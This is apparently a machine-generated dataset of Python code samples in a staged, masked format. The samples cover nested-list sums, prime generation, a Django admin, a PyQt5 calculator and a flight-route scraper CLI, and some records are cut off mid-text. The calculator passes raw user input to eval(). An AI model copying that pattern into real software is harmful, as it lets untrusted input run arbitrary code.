in nestedList:\n q.put(item)\n while not q.empty():\n for _ in range(q.qsize()):\n item = q.get()\n if item.isInteger():\n sum += item.getInteger() * depth\n else:\n for next in item.getList():\n q.put(next)\n depth += 1\n return sum\n", "step-4": "<mask token>\n\n\nclass Solution(object):\n\n def depthSum(self, nestedList):\n return self.dfs(nestedList, 1)\n\n def dfs(self, nestedList, depth):\n sum = 0\n for item in nestedList:\n if item.isInteger():\n sum += item.getInteger() * depth\n else:\n sum += self.dfs(item.getList(), depth + 1)\n return sum\n\n\nclass Solution(object):\n\n def depthSum(self, nestedList):\n if len(nestedList) == 0:\n return 0\n from queue import Queue\n q = Queue()\n sum = 0\n depth = 1\n for item in nestedList:\n q.put(item)\n while not q.empty():\n for _ in range(q.qsize()):\n item = q.get()\n if item.isInteger():\n sum += item.getInteger() * depth\n else:\n for next in item.getList():\n q.put(next)\n depth += 1\n return sum\n", "step-5": "\"\"\"\nThis is the interface that allows for creating nested lists.\nYou should not implement it, or speculate about its implementation\n\nclass NestedInteger(object):\n def isInteger(self):\n # @return {boolean} True if this NestedInteger holds a single integer,\n # rather than a nested list.\n\n def getInteger(self):\n # @return {int} the single integer that this NestedInteger holds,\n # if it holds a single integer\n # Return None if this NestedInteger holds a nested list\n\n def getList(self):\n # @return {NestedInteger[]} the nested list that this NestedInteger holds,\n # if it holds a nested list\n # Return None if this NestedInteger holds a single integer\n\"\"\"\n\n\n# Version 1: DFS Recursive\nclass Solution(object):\n # @param {NestedInteger[]} nestedList a list of NestedInteger Object\n # @return {int} an integer\n def depthSum(self, nestedList):\n return self.dfs(nestedList, 1)\n\n def dfs(self, nestedList, depth):\n sum = 0\n for item in nestedList:\n if item.isInteger():\n sum += item.getInteger() * depth\n else:\n sum += self.dfs(item.getList(), depth + 1)\n\n return sum\n\n\n\n\n# Version 2: BFS, Non-Recursive\nclass Solution(object):\n # @param {NestedInteger[]} nestedList a list of NestedInteger Object\n # @return {int} an integer\n def depthSum(self, nestedList):\n if len(nestedList) == 0:\n return 0\n\n from queue import Queue\n q = Queue()\n sum = 0\n depth = 1\n\n for item in nestedList:\n q.put(item)\n\n while not q.empty():\n for _ in range(q.qsize()):\n item = q.get()\n if item.isInteger():\n sum += item.getInteger() * depth\n else:\n for next in item.getList():\n q.put(next)\n depth += 1\n\n return sum", "step-ids": [ 2, 3, 4, 5, 6 ] }
[ 2, 3, 4, 5, 6 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> default_app_config = 'teacher.apps.A1Config'
flexible
{ "blob_id": "c466c7e05608b1fbba5eea5bec16d301cee3688f", "index": 9817, "step-1": "<mask token>\n", "step-2": "default_app_config = 'teacher.apps.A1Config'\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0, 1 ] }
[ 0, 1 ]
from math import sqrt def prime_generator(n): pp=[2,3] for i in range(3,n): i+=2 count=0 for ps in pp: if ps>(sqrt(i)+1): break if i%ps==0: count+=1 break if count==0: pp.append(i) return pp
normal
{ "blob_id": "cfa064611a4aa16638bd649c68d64872b9fac1ff", "index": 4647, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef prime_generator(n):\n pp = [2, 3]\n for i in range(3, n):\n i += 2\n count = 0\n for ps in pp:\n if ps > sqrt(i) + 1:\n break\n if i % ps == 0:\n count += 1\n break\n if count == 0:\n pp.append(i)\n return pp\n", "step-3": "from math import sqrt\n\n\ndef prime_generator(n):\n pp = [2, 3]\n for i in range(3, n):\n i += 2\n count = 0\n for ps in pp:\n if ps > sqrt(i) + 1:\n break\n if i % ps == 0:\n count += 1\n break\n if count == 0:\n pp.append(i)\n return pp\n", "step-4": "from math import sqrt\ndef prime_generator(n):\n pp=[2,3]\n for i in range(3,n):\n i+=2\n count=0\n for ps in pp:\n if ps>(sqrt(i)+1):\n break\n if i%ps==0:\n count+=1\n break \n if count==0:\n pp.append(i)\n return pp\n\n\n\n\n \n\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> class Calculator(QWidget): <|reserved_special_token_0|> def accept_button_value(self, number): if number == 'Clean': self.number_str = '' elif number == 'Backspace': self.number_str = list(self.number_str) if len(self.number_str) > 0: self.number_str.pop() self.number_str = ''.join(self.number_str) else: self.number_str = '' elif number == 'Infor': self.number_str = self.version else: line_edit_content = self.lineEdit.text() if line_edit_content.find(self.version) >= 0: self.number_str = '' self.number_str = str(self.number_str) + str(number) print(self.number_str) self.lineEdit.setText(str(self.number_str)) def calculation_results(self, infor): line_edit_content = self.lineEdit.text() print(line_edit_content) result = 0.0 if line_edit_content.find(self.version) >= 0: self.lineEdit.setText('输入错误') else: try: result = eval(line_edit_content) except: result = '计算错误,请检查输入' self.lineEdit.setText(str(result)) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Calculator(QWidget): def __init__(self): self.number_str = '' self.version = '小树计算器 V1.0' super().__init__() self.resize(400, 400) from PyQt5.uic import loadUi loadUi('calculator_gui.ui', self) self.Button_0.clicked.connect(lambda : self.accept_button_value(0)) self.Button_1.clicked.connect(lambda : self.accept_button_value(1)) self.Button_2.clicked.connect(lambda : self.accept_button_value(2)) self.Button_3.clicked.connect(lambda : self.accept_button_value(3)) self.Button_4.clicked.connect(lambda : self.accept_button_value(4)) self.Button_5.clicked.connect(lambda : self.accept_button_value(5)) self.Button_6.clicked.connect(lambda : self.accept_button_value(6)) self.Button_7.clicked.connect(lambda : self.accept_button_value(7)) self.Button_8.clicked.connect(lambda : self.accept_button_value(8)) self.Button_9.clicked.connect(lambda : self.accept_button_value(9)) self.Button_addition.clicked.connect(lambda : self. accept_button_value('+')) self.Button_subtraction.clicked.connect(lambda : self. accept_button_value('-')) self.Button_multiplication.clicked.connect(lambda : self. accept_button_value('*')) self.Button_division.clicked.connect(lambda : self. accept_button_value('/')) self.Button_Backspace.clicked.connect(lambda : self. accept_button_value('Backspace')) self.Button_Clean.clicked.connect(lambda : self.accept_button_value ('Clean')) self.Button_Infor.clicked.connect(lambda : self.accept_button_value ('Infor')) self.Button_L_par.clicked.connect(lambda : self.accept_button_value ('(')) self.Button_R_par.clicked.connect(lambda : self.accept_button_value (')')) self.Button_result.clicked.connect(lambda : self. calculation_results('计算结果')) def accept_button_value(self, number): if number == 'Clean': self.number_str = '' elif number == 'Backspace': self.number_str = list(self.number_str) if len(self.number_str) > 0: self.number_str.pop() self.number_str = ''.join(self.number_str) else: self.number_str = '' elif number == 'Infor': self.number_str = self.version else: line_edit_content = self.lineEdit.text() if line_edit_content.find(self.version) >= 0: self.number_str = '' self.number_str = str(self.number_str) + str(number) print(self.number_str) self.lineEdit.setText(str(self.number_str)) def calculation_results(self, infor): line_edit_content = self.lineEdit.text() print(line_edit_content) result = 0.0 if line_edit_content.find(self.version) >= 0: self.lineEdit.setText('输入错误') else: try: result = eval(line_edit_content) except: result = '计算错误,请检查输入' self.lineEdit.setText(str(result)) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Calculator(QWidget): def __init__(self): self.number_str = '' self.version = '小树计算器 V1.0' super().__init__() self.resize(400, 400) from PyQt5.uic import loadUi loadUi('calculator_gui.ui', self) self.Button_0.clicked.connect(lambda : self.accept_button_value(0)) self.Button_1.clicked.connect(lambda : self.accept_button_value(1)) self.Button_2.clicked.connect(lambda : self.accept_button_value(2)) self.Button_3.clicked.connect(lambda : self.accept_button_value(3)) self.Button_4.clicked.connect(lambda : self.accept_button_value(4)) self.Button_5.clicked.connect(lambda : self.accept_button_value(5)) self.Button_6.clicked.connect(lambda : self.accept_button_value(6)) self.Button_7.clicked.connect(lambda : self.accept_button_value(7)) self.Button_8.clicked.connect(lambda : self.accept_button_value(8)) self.Button_9.clicked.connect(lambda : self.accept_button_value(9)) self.Button_addition.clicked.connect(lambda : self. accept_button_value('+')) self.Button_subtraction.clicked.connect(lambda : self. accept_button_value('-')) self.Button_multiplication.clicked.connect(lambda : self. accept_button_value('*')) self.Button_division.clicked.connect(lambda : self. accept_button_value('/')) self.Button_Backspace.clicked.connect(lambda : self. accept_button_value('Backspace')) self.Button_Clean.clicked.connect(lambda : self.accept_button_value ('Clean')) self.Button_Infor.clicked.connect(lambda : self.accept_button_value ('Infor')) self.Button_L_par.clicked.connect(lambda : self.accept_button_value ('(')) self.Button_R_par.clicked.connect(lambda : self.accept_button_value (')')) self.Button_result.clicked.connect(lambda : self. calculation_results('计算结果')) def accept_button_value(self, number): if number == 'Clean': self.number_str = '' elif number == 'Backspace': self.number_str = list(self.number_str) if len(self.number_str) > 0: self.number_str.pop() self.number_str = ''.join(self.number_str) else: self.number_str = '' elif number == 'Infor': self.number_str = self.version else: line_edit_content = self.lineEdit.text() if line_edit_content.find(self.version) >= 0: self.number_str = '' self.number_str = str(self.number_str) + str(number) print(self.number_str) self.lineEdit.setText(str(self.number_str)) def calculation_results(self, infor): line_edit_content = self.lineEdit.text() print(line_edit_content) result = 0.0 if line_edit_content.find(self.version) >= 0: self.lineEdit.setText('输入错误') else: try: result = eval(line_edit_content) except: result = '计算错误,请检查输入' self.lineEdit.setText(str(result)) if __name__ == '__main__': app = QApplication(sys.argv) w = Calculator() w.show() sys.exit(app.exec_()) <|reserved_special_token_1|> from PyQt5.QtWidgets import QApplication, QWidget import sys class Calculator(QWidget): def __init__(self): self.number_str = '' self.version = '小树计算器 V1.0' super().__init__() self.resize(400, 400) from PyQt5.uic import loadUi loadUi('calculator_gui.ui', self) self.Button_0.clicked.connect(lambda : self.accept_button_value(0)) self.Button_1.clicked.connect(lambda : self.accept_button_value(1)) self.Button_2.clicked.connect(lambda : self.accept_button_value(2)) self.Button_3.clicked.connect(lambda : self.accept_button_value(3)) self.Button_4.clicked.connect(lambda : self.accept_button_value(4)) self.Button_5.clicked.connect(lambda : self.accept_button_value(5)) self.Button_6.clicked.connect(lambda : self.accept_button_value(6)) self.Button_7.clicked.connect(lambda : self.accept_button_value(7)) self.Button_8.clicked.connect(lambda : self.accept_button_value(8)) self.Button_9.clicked.connect(lambda : self.accept_button_value(9)) self.Button_addition.clicked.connect(lambda : self. accept_button_value('+')) self.Button_subtraction.clicked.connect(lambda : self. accept_button_value('-')) self.Button_multiplication.clicked.connect(lambda : self. accept_button_value('*')) self.Button_division.clicked.connect(lambda : self. accept_button_value('/')) self.Button_Backspace.clicked.connect(lambda : self. accept_button_value('Backspace')) self.Button_Clean.clicked.connect(lambda : self.accept_button_value ('Clean')) self.Button_Infor.clicked.connect(lambda : self.accept_button_value ('Infor')) self.Button_L_par.clicked.connect(lambda : self.accept_button_value ('(')) self.Button_R_par.clicked.connect(lambda : self.accept_button_value (')')) self.Button_result.clicked.connect(lambda : self. calculation_results('计算结果')) def accept_button_value(self, number): if number == 'Clean': self.number_str = '' elif number == 'Backspace': self.number_str = list(self.number_str) if len(self.number_str) > 0: self.number_str.pop() self.number_str = ''.join(self.number_str) else: self.number_str = '' elif number == 'Infor': self.number_str = self.version else: line_edit_content = self.lineEdit.text() if line_edit_content.find(self.version) >= 0: self.number_str = '' self.number_str = str(self.number_str) + str(number) print(self.number_str) self.lineEdit.setText(str(self.number_str)) def calculation_results(self, infor): line_edit_content = self.lineEdit.text() print(line_edit_content) result = 0.0 if line_edit_content.find(self.version) >= 0: self.lineEdit.setText('输入错误') else: try: result = eval(line_edit_content) except: result = '计算错误,请检查输入' self.lineEdit.setText(str(result)) if __name__ == '__main__': app = QApplication(sys.argv) w = Calculator() w.show() sys.exit(app.exec_()) <|reserved_special_token_1|> from PyQt5.QtWidgets import QApplication, QWidget import sys class Calculator(QWidget): def __init__(self): self.number_str = "" self.version = "小树计算器 V1.0" super().__init__() self.resize(400,400) from PyQt5.uic import loadUi # 需要导入的模块 #loadUi("record.ui", self) #加载UI文件 loadUi("calculator_gui.ui", self) #加载UI文件 #信号槽---- 按键触发 self.Button_0.clicked.connect(lambda: self.accept_button_value(0)) self.Button_1.clicked.connect(lambda: self.accept_button_value(1)) self.Button_2.clicked.connect(lambda: self.accept_button_value(2)) self.Button_3.clicked.connect(lambda: self.accept_button_value(3)) self.Button_4.clicked.connect(lambda: self.accept_button_value(4)) self.Button_5.clicked.connect(lambda: self.accept_button_value(5)) self.Button_6.clicked.connect(lambda: self.accept_button_value(6)) self.Button_7.clicked.connect(lambda: self.accept_button_value(7)) self.Button_8.clicked.connect(lambda: self.accept_button_value(8)) self.Button_9.clicked.connect(lambda: self.accept_button_value(9)) #功能按键触发 self.Button_addition.clicked.connect(lambda: self.accept_button_value("+")) self.Button_subtraction.clicked.connect(lambda: self.accept_button_value("-")) self.Button_multiplication.clicked.connect(lambda: self.accept_button_value("*")) self.Button_division.clicked.connect(lambda: self.accept_button_value("/")) self.Button_Backspace.clicked.connect(lambda: self.accept_button_value("Backspace")) self.Button_Clean.clicked.connect(lambda: self.accept_button_value("Clean")) self.Button_Infor.clicked.connect(lambda: self.accept_button_value("Infor")) self.Button_L_par.clicked.connect(lambda: self.accept_button_value("(")) self.Button_R_par.clicked.connect(lambda: self.accept_button_value(")")) self.Button_result.clicked.connect(lambda: self.calculation_results("计算结果")) def accept_button_value(self, number): if number == "Clean": self.number_str = "" elif number == "Backspace": self.number_str = list(self.number_str) if len(self.number_str) > 0: self.number_str.pop() self.number_str = "".join(self.number_str) else: self.number_str = "" elif number == "Infor": self.number_str = self.version else: line_edit_content = self.lineEdit.text() if line_edit_content.find(self.version) >= 0: self.number_str = "" self.number_str = str(self.number_str) + str(number) print(self.number_str) self.lineEdit.setText(str(self.number_str)) def calculation_results(self, infor): line_edit_content = self.lineEdit.text() print(line_edit_content) result = 0.0 if line_edit_content.find(self.version) >= 0: self.lineEdit.setText("输入错误") else: try: result = eval(line_edit_content) except: result = "计算错误,请检查输入" self.lineEdit.setText(str(result)) if __name__=='__main__': app=QApplication(sys.argv) w=Calculator() w.show() sys.exit(app.exec_())
flexible
{ "blob_id": "4df9af863a857c3bbc3c266d745a49b6ef78ba9b", "index": 1994, "step-1": "<mask token>\n\n\nclass Calculator(QWidget):\n <mask token>\n\n def accept_button_value(self, number):\n if number == 'Clean':\n self.number_str = ''\n elif number == 'Backspace':\n self.number_str = list(self.number_str)\n if len(self.number_str) > 0:\n self.number_str.pop()\n self.number_str = ''.join(self.number_str)\n else:\n self.number_str = ''\n elif number == 'Infor':\n self.number_str = self.version\n else:\n line_edit_content = self.lineEdit.text()\n if line_edit_content.find(self.version) >= 0:\n self.number_str = ''\n self.number_str = str(self.number_str) + str(number)\n print(self.number_str)\n self.lineEdit.setText(str(self.number_str))\n\n def calculation_results(self, infor):\n line_edit_content = self.lineEdit.text()\n print(line_edit_content)\n result = 0.0\n if line_edit_content.find(self.version) >= 0:\n self.lineEdit.setText('输入错误')\n else:\n try:\n result = eval(line_edit_content)\n except:\n result = '计算错误,请检查输入'\n self.lineEdit.setText(str(result))\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass Calculator(QWidget):\n\n def __init__(self):\n self.number_str = ''\n self.version = '小树计算器 V1.0'\n super().__init__()\n self.resize(400, 400)\n from PyQt5.uic import loadUi\n loadUi('calculator_gui.ui', self)\n self.Button_0.clicked.connect(lambda : self.accept_button_value(0))\n self.Button_1.clicked.connect(lambda : self.accept_button_value(1))\n self.Button_2.clicked.connect(lambda : self.accept_button_value(2))\n self.Button_3.clicked.connect(lambda : self.accept_button_value(3))\n self.Button_4.clicked.connect(lambda : self.accept_button_value(4))\n self.Button_5.clicked.connect(lambda : self.accept_button_value(5))\n self.Button_6.clicked.connect(lambda : self.accept_button_value(6))\n self.Button_7.clicked.connect(lambda : self.accept_button_value(7))\n self.Button_8.clicked.connect(lambda : self.accept_button_value(8))\n self.Button_9.clicked.connect(lambda : self.accept_button_value(9))\n self.Button_addition.clicked.connect(lambda : self.\n accept_button_value('+'))\n self.Button_subtraction.clicked.connect(lambda : self.\n accept_button_value('-'))\n self.Button_multiplication.clicked.connect(lambda : self.\n accept_button_value('*'))\n self.Button_division.clicked.connect(lambda : self.\n accept_button_value('/'))\n self.Button_Backspace.clicked.connect(lambda : self.\n accept_button_value('Backspace'))\n self.Button_Clean.clicked.connect(lambda : self.accept_button_value\n ('Clean'))\n self.Button_Infor.clicked.connect(lambda : self.accept_button_value\n ('Infor'))\n self.Button_L_par.clicked.connect(lambda : self.accept_button_value\n ('('))\n self.Button_R_par.clicked.connect(lambda : self.accept_button_value\n (')'))\n self.Button_result.clicked.connect(lambda : self.\n calculation_results('计算结果'))\n\n def accept_button_value(self, number):\n if number == 'Clean':\n self.number_str = ''\n elif number == 'Backspace':\n self.number_str = list(self.number_str)\n if len(self.number_str) > 0:\n self.number_str.pop()\n self.number_str = ''.join(self.number_str)\n else:\n self.number_str = ''\n elif number == 'Infor':\n self.number_str = self.version\n else:\n line_edit_content = self.lineEdit.text()\n if line_edit_content.find(self.version) >= 0:\n self.number_str = ''\n self.number_str = str(self.number_str) + str(number)\n print(self.number_str)\n self.lineEdit.setText(str(self.number_str))\n\n def calculation_results(self, infor):\n line_edit_content = self.lineEdit.text()\n print(line_edit_content)\n result = 0.0\n if line_edit_content.find(self.version) >= 0:\n self.lineEdit.setText('输入错误')\n else:\n try:\n result = eval(line_edit_content)\n except:\n result = '计算错误,请检查输入'\n self.lineEdit.setText(str(result))\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass Calculator(QWidget):\n\n def __init__(self):\n self.number_str = ''\n self.version = '小树计算器 V1.0'\n super().__init__()\n self.resize(400, 400)\n from PyQt5.uic import loadUi\n loadUi('calculator_gui.ui', self)\n self.Button_0.clicked.connect(lambda : self.accept_button_value(0))\n self.Button_1.clicked.connect(lambda : self.accept_button_value(1))\n self.Button_2.clicked.connect(lambda : self.accept_button_value(2))\n self.Button_3.clicked.connect(lambda : self.accept_button_value(3))\n self.Button_4.clicked.connect(lambda : self.accept_button_value(4))\n self.Button_5.clicked.connect(lambda : self.accept_button_value(5))\n self.Button_6.clicked.connect(lambda : self.accept_button_value(6))\n self.Button_7.clicked.connect(lambda : self.accept_button_value(7))\n self.Button_8.clicked.connect(lambda : self.accept_button_value(8))\n self.Button_9.clicked.connect(lambda : self.accept_button_value(9))\n self.Button_addition.clicked.connect(lambda : self.\n accept_button_value('+'))\n self.Button_subtraction.clicked.connect(lambda : self.\n accept_button_value('-'))\n self.Button_multiplication.clicked.connect(lambda : self.\n accept_button_value('*'))\n self.Button_division.clicked.connect(lambda : self.\n accept_button_value('/'))\n self.Button_Backspace.clicked.connect(lambda : self.\n accept_button_value('Backspace'))\n self.Button_Clean.clicked.connect(lambda : self.accept_button_value\n ('Clean'))\n self.Button_Infor.clicked.connect(lambda : self.accept_button_value\n ('Infor'))\n self.Button_L_par.clicked.connect(lambda : self.accept_button_value\n ('('))\n self.Button_R_par.clicked.connect(lambda : self.accept_button_value\n (')'))\n self.Button_result.clicked.connect(lambda : self.\n calculation_results('计算结果'))\n\n def accept_button_value(self, number):\n if number == 'Clean':\n self.number_str = ''\n elif number == 'Backspace':\n self.number_str = list(self.number_str)\n if len(self.number_str) > 0:\n self.number_str.pop()\n self.number_str = ''.join(self.number_str)\n else:\n self.number_str = ''\n elif number == 'Infor':\n self.number_str = self.version\n else:\n line_edit_content = self.lineEdit.text()\n if line_edit_content.find(self.version) >= 0:\n self.number_str = ''\n self.number_str = str(self.number_str) + str(number)\n print(self.number_str)\n self.lineEdit.setText(str(self.number_str))\n\n def calculation_results(self, infor):\n line_edit_content = self.lineEdit.text()\n print(line_edit_content)\n result = 0.0\n if line_edit_content.find(self.version) >= 0:\n self.lineEdit.setText('输入错误')\n else:\n try:\n result = eval(line_edit_content)\n except:\n result = '计算错误,请检查输入'\n self.lineEdit.setText(str(result))\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n w = Calculator()\n w.show()\n sys.exit(app.exec_())\n", "step-4": "from PyQt5.QtWidgets import QApplication, QWidget\nimport sys\n\n\nclass Calculator(QWidget):\n\n def __init__(self):\n self.number_str = ''\n self.version = '小树计算器 V1.0'\n super().__init__()\n self.resize(400, 400)\n from PyQt5.uic import loadUi\n loadUi('calculator_gui.ui', self)\n self.Button_0.clicked.connect(lambda : self.accept_button_value(0))\n self.Button_1.clicked.connect(lambda : self.accept_button_value(1))\n self.Button_2.clicked.connect(lambda : self.accept_button_value(2))\n self.Button_3.clicked.connect(lambda : self.accept_button_value(3))\n self.Button_4.clicked.connect(lambda : self.accept_button_value(4))\n self.Button_5.clicked.connect(lambda : self.accept_button_value(5))\n self.Button_6.clicked.connect(lambda : self.accept_button_value(6))\n self.Button_7.clicked.connect(lambda : self.accept_button_value(7))\n self.Button_8.clicked.connect(lambda : self.accept_button_value(8))\n self.Button_9.clicked.connect(lambda : self.accept_button_value(9))\n self.Button_addition.clicked.connect(lambda : self.\n accept_button_value('+'))\n self.Button_subtraction.clicked.connect(lambda : self.\n accept_button_value('-'))\n self.Button_multiplication.clicked.connect(lambda : self.\n accept_button_value('*'))\n self.Button_division.clicked.connect(lambda : self.\n accept_button_value('/'))\n self.Button_Backspace.clicked.connect(lambda : self.\n accept_button_value('Backspace'))\n self.Button_Clean.clicked.connect(lambda : self.accept_button_value\n ('Clean'))\n self.Button_Infor.clicked.connect(lambda : self.accept_button_value\n ('Infor'))\n self.Button_L_par.clicked.connect(lambda : self.accept_button_value\n ('('))\n self.Button_R_par.clicked.connect(lambda : self.accept_button_value\n (')'))\n self.Button_result.clicked.connect(lambda : self.\n calculation_results('计算结果'))\n\n def accept_button_value(self, number):\n if number == 'Clean':\n self.number_str = ''\n elif number == 'Backspace':\n self.number_str = list(self.number_str)\n if len(self.number_str) > 0:\n self.number_str.pop()\n self.number_str = ''.join(self.number_str)\n else:\n self.number_str = ''\n elif number == 'Infor':\n self.number_str = self.version\n else:\n line_edit_content = self.lineEdit.text()\n if line_edit_content.find(self.version) >= 0:\n self.number_str = ''\n self.number_str = str(self.number_str) + str(number)\n print(self.number_str)\n self.lineEdit.setText(str(self.number_str))\n\n def calculation_results(self, infor):\n line_edit_content = self.lineEdit.text()\n print(line_edit_content)\n result = 0.0\n if line_edit_content.find(self.version) >= 0:\n self.lineEdit.setText('输入错误')\n else:\n try:\n result = eval(line_edit_content)\n except:\n result = '计算错误,请检查输入'\n self.lineEdit.setText(str(result))\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n w = Calculator()\n w.show()\n sys.exit(app.exec_())\n", "step-5": "from PyQt5.QtWidgets import QApplication, QWidget\nimport sys\n\nclass Calculator(QWidget):\n def __init__(self):\n self.number_str = \"\"\n self.version = \"小树计算器 V1.0\"\n\n super().__init__()\n self.resize(400,400)\n\n from PyQt5.uic import loadUi # 需要导入的模块\n #loadUi(\"record.ui\", self) #加载UI文件\n loadUi(\"calculator_gui.ui\", self) #加载UI文件\n\n #信号槽---- 按键触发\n self.Button_0.clicked.connect(lambda: self.accept_button_value(0)) \n self.Button_1.clicked.connect(lambda: self.accept_button_value(1)) \n self.Button_2.clicked.connect(lambda: self.accept_button_value(2)) \n self.Button_3.clicked.connect(lambda: self.accept_button_value(3)) \n self.Button_4.clicked.connect(lambda: self.accept_button_value(4)) \n self.Button_5.clicked.connect(lambda: self.accept_button_value(5)) \n self.Button_6.clicked.connect(lambda: self.accept_button_value(6)) \n self.Button_7.clicked.connect(lambda: self.accept_button_value(7)) \n self.Button_8.clicked.connect(lambda: self.accept_button_value(8)) \n self.Button_9.clicked.connect(lambda: self.accept_button_value(9)) \n \n #功能按键触发\n self.Button_addition.clicked.connect(lambda: self.accept_button_value(\"+\"))\n self.Button_subtraction.clicked.connect(lambda: self.accept_button_value(\"-\"))\n self.Button_multiplication.clicked.connect(lambda: self.accept_button_value(\"*\"))\n self.Button_division.clicked.connect(lambda: self.accept_button_value(\"/\"))\n\n self.Button_Backspace.clicked.connect(lambda: self.accept_button_value(\"Backspace\"))\n self.Button_Clean.clicked.connect(lambda: self.accept_button_value(\"Clean\")) \n self.Button_Infor.clicked.connect(lambda: self.accept_button_value(\"Infor\"))\n self.Button_L_par.clicked.connect(lambda: self.accept_button_value(\"(\"))\n self.Button_R_par.clicked.connect(lambda: self.accept_button_value(\")\"))\n\n self.Button_result.clicked.connect(lambda: self.calculation_results(\"计算结果\"))\n\n \n\n def accept_button_value(self, number):\n if number == \"Clean\":\n self.number_str = \"\"\n elif number == \"Backspace\":\n self.number_str = list(self.number_str)\n if len(self.number_str) > 0:\n self.number_str.pop()\n self.number_str = \"\".join(self.number_str)\n else:\n self.number_str = \"\"\n elif number == \"Infor\":\n self.number_str = self.version\n else:\n line_edit_content = self.lineEdit.text()\n if line_edit_content.find(self.version) >= 0:\n self.number_str = \"\"\n self.number_str = str(self.number_str) + str(number)\n print(self.number_str)\n self.lineEdit.setText(str(self.number_str))\n\n def calculation_results(self, infor):\n line_edit_content = self.lineEdit.text()\n print(line_edit_content)\n result = 0.0\n if line_edit_content.find(self.version) >= 0:\n self.lineEdit.setText(\"输入错误\")\n else:\n try:\n result = eval(line_edit_content)\n except:\n result = \"计算错误,请检查输入\"\n self.lineEdit.setText(str(result))\n \n\n \n\nif __name__=='__main__':\n app=QApplication(sys.argv)\n w=Calculator()\n w.show()\n sys.exit(app.exec_())\n", "step-ids": [ 3, 4, 5, 6, 7 ] }
[ 3, 4, 5, 6, 7 ]
<|reserved_special_token_0|> class StoreIdAdmin(admin.ModelAdmin): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class StoreIdAdmin(admin.ModelAdmin): list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id', 'start_date', 'end_date') search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id'] <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class StoreIdAdmin(admin.ModelAdmin): list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id', 'start_date', 'end_date') search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id'] admin.site.register(StoreId, StoreIdAdmin) <|reserved_special_token_1|> from django.contrib import admin from .models import StoreId class StoreIdAdmin(admin.ModelAdmin): list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id', 'start_date', 'end_date') search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id'] admin.site.register(StoreId, StoreIdAdmin) <|reserved_special_token_1|> from django.contrib import admin from .models import StoreId # Register your models here. class StoreIdAdmin(admin.ModelAdmin): list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id', 'start_date', 'end_date') search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id'] admin.site.register(StoreId, StoreIdAdmin)
flexible
{ "blob_id": "6475fd59ba2414ea9a174297a8d94e5a2e0a7d8f", "index": 3783, "step-1": "<mask token>\n\n\nclass StoreIdAdmin(admin.ModelAdmin):\n <mask token>\n <mask token>\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass StoreIdAdmin(admin.ModelAdmin):\n list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id',\n 'start_date', 'end_date')\n search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id']\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass StoreIdAdmin(admin.ModelAdmin):\n list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id',\n 'start_date', 'end_date')\n search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id']\n\n\nadmin.site.register(StoreId, StoreIdAdmin)\n", "step-4": "from django.contrib import admin\nfrom .models import StoreId\n\n\nclass StoreIdAdmin(admin.ModelAdmin):\n list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id',\n 'start_date', 'end_date')\n search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id']\n\n\nadmin.site.register(StoreId, StoreIdAdmin)\n", "step-5": "from django.contrib import admin\nfrom .models import StoreId\n\n# Register your models here.\nclass StoreIdAdmin(admin.ModelAdmin):\n list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id', 'start_date', 'end_date')\n search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id']\n\nadmin.site.register(StoreId, StoreIdAdmin)\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
import os import time import json import click import click_log import logging from flightsio.scraper import FlightScraper logger = logging.getLogger(__name__) click_log.basic_config(logger) @click.group() def main(): """ An empty click group, required in order to bundle the other commands. """ pass @main.command(help="""Reads the entire destination list of of the given airport returns the name of the airport and url associated with it. Sample usage: fio destinations --from-airport PHX""") @click.option('--from-airport', '-a', help='The three letter code of the source airport. I.e. PHX') @click_log.simple_verbosity_option(logger) def destinations(from_airport): if not from_airport: logger.error('Unable to get destinations without an aiport code. Use fio destinations --help') return destinations = FlightScraper().get_destinations(from_airport.upper()) logger.info(json.dumps(destinations, indent=4)) @main.command(help="""Reads the entire destination list of of the given airport and crawls each destination to obtain the list of routes. The output files will stored in the given folder. Sample usage: fio all-routes --from-airport PHX --output ./out """) @click.option('--from-airport', '-a', help='The three letter code of the source airport. I.e. PHX') @click.option('--output', '-o', help='The path used to write the parsed routes.', default='./output') @click_log.simple_verbosity_option(logger) def all_routes(from_airport, output): if not from_airport: logger.error('Unable to get all routes without an aiport code. Use fio all_routes --help') return airport = from_airport.upper() scraper = FlightScraper() airport_path = os.path.join(output, airport) logger.info(f'Creating {airport_path}') os.makedirs(airport_path, exist_ok=True) for destination, routes in scraper.get_routes(airport): write_csv(airport_path, destination, routes) @main.command(help="""Reads the route list between a source airport and a destination airport and writes the result in the output folder. Sample usage: fio routes --from-airport PHX --to-airport OKC --output ./out """) @click.option('--from-airport', '-a', help='The three letter code of the source 